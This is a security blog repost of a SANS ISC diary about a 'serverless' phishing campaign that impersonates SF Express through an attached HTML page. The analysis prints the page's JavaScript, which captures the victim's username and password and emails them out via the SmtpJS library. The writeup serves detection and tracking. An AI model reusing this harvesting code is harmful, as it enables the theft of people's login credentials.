[SANS ISC] “Serverless” Phishing Campaign, (Sat, May 22nd)

The Internet is full of code snippets and free resources that you can embed in your projects. SmtpJS is one of those small projects that are very interesting for developers but also bad guys. It’s the first time that I spot a phishing campaign that uses this piece of JavaScript code.

To launch a phishing campaign, most attackers deploy their phishing kits on servers (most of the time compromised). These kits contain the HTML code, images, CSS files, … but also scripts (often in PHP) to collect the information provided by the victim and store it into a flat file or send them to another service. It works perfectly but there are chances that the compromised servers will be cleaned and kits wiped. Alternatively, the URL/IP address will be quickly reported as malicious and added to reputation lists or IOC’s databases.

With the campaign I spotted, the approach is different and I called it a “serverless” campaign because no server is required to store the kit. How does it work?

The phishing page is delivered through an email with just an attached HTML page. The content is obfuscated and, once opened, displays a nice page:

If you don’t know this brand, SF Express can be categorized as a “Chinese DHL”. It’s a logistic company based in Shenzhen.

On top of the background picture, an overlay is rendered with the form. When the user clicks on the button, a JavaScript function is called:

<button class=”primary-btn big verification_quick_login maidian”

Here is the function:

<script type=’text/javascript’>
function sendEmail() {
if (document.getElementById(‘password’).value === ”) {
alert(‘Please enter a valid password!’);
return false;
var username = document.getElementById(‘username’).value;
var password = document.getElementById(‘password’).value;
SecureToken : “180a2263-e984-4408-8235-xxxxxxxxxxxx”,
To : ‘[email protected], [email protected]’,
From : ‘[email protected]’,
Subject : ‘SF cAshOut’,
Body : ‘SF EXPRESS Email – ‘ + username + ‘ Password – ‘ + password
message => alert(‘Authentication Failed: Email / Password Incorrect!’));

The SMTP functionally is provided by The SmtpJS JavaScript library:

<script src=’https://smtpjs.com/v3/smtp.js’></script>

SmtpJS.com[1] allows developers to send emails from their JavaScript code in a very easy way. Note the “SecureToken” variable: it’s a technique provided by SmtpJS to hide your SMTP relay and credentials. This token can be generated on their website:

The good point from a defense perspective is that this token can be used to track campaigns and actors!

[1] https://smtpjs.com

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Source: Read More (SANS Internet Storm Center, InfoCON: green)

You might be interested in …

Daily NCSC-FI news followup 2019-08-26

Poliisi varoittaa ihmisiä yhä yleisemmiksi käyvistä verkkorikoksista. Esimerkiksi niin sanottuja pomohuijauksia yritetään yllättäviinkin kohteisiin. www.tivi.fi/uutiset/tv/dd810717-424e-4651-b482-e5c5014dcdd5 Tänä vuonna on tehty jo 196 rikosilmoitusta epäillystä toimitusjohtajapetoksesta ja poliisin arvion mukaan yritykset ja muut rikosten kohteeksi joutuneet toimijat ovat menettäneet rikosten takia rahaa arviolta 4,2 miljoonaa euroa. Valtio aikoo fuusioida edellisen hallituksen sote- ja maakuntayhdistyksen yhteydessä perustamat it-yhtiöt […]

Read More

Daily NCSC-FI news followup 2021-07-03

Ruotsin suurimpiin kuuluvan kauppaketjun lähes kaikki liikkeet suljettu kiristyshaittaohjelman seurauksena yle.fi/uutiset/3-12007855 Kauppaketju Coopin arvion mukaan kaupat pysyvät luultavasti kiinni lauantain ajan. Ongelmat kassajärjestelmässä alkoivat perjantai-iltana. Lisäksi: media.visma.se/pressreleases/mjukvaruleverantoeren-kesaya-utsatt-foer-en-global-cyberattack-som-paaverkar-detaljhandeln-3114593. Lisäksi: www.bleepingcomputer.com/news/security/coop-supermarket-closes-500-stores-after-kaseya-ransomware-attack/. Lisäksi (päivittyvä sivu): helpdesk.kaseya.com/hc/en-gb/articles/4403440684689. Lisäksi: www.kauppalehti.fi/uutiset/kansainvalinen-kyberhyokkays-sulki-ruotsalaisketjun-lahes-800-myymalaa-kassajarjestelma-lakkasi-toimimasta/e13e803f-e971-4e05-a236-9545faf94d15. Lisäksi: www.aftonbladet.se/minekonomi/a/86bQQw/coop-butiker-stangs-efter-it-attack. Lisäksi: www.bleepingcomputer.com/news/security/revil-ransomware-hits-200-companies-in-msp-supply-chain-attack/ US chemical distributor shares info on DarkSide ransomware data theft www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/ World-leading chemical distribution company Brenntag […]

Read More

[ThreatPost] NSA Warns Public Networks are Hacker Hotbeds

All posts, ThreatPost

Agency warns attackers targeting teleworkers to steal corporate data. Source: Read More (Threatpost)

Read More

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.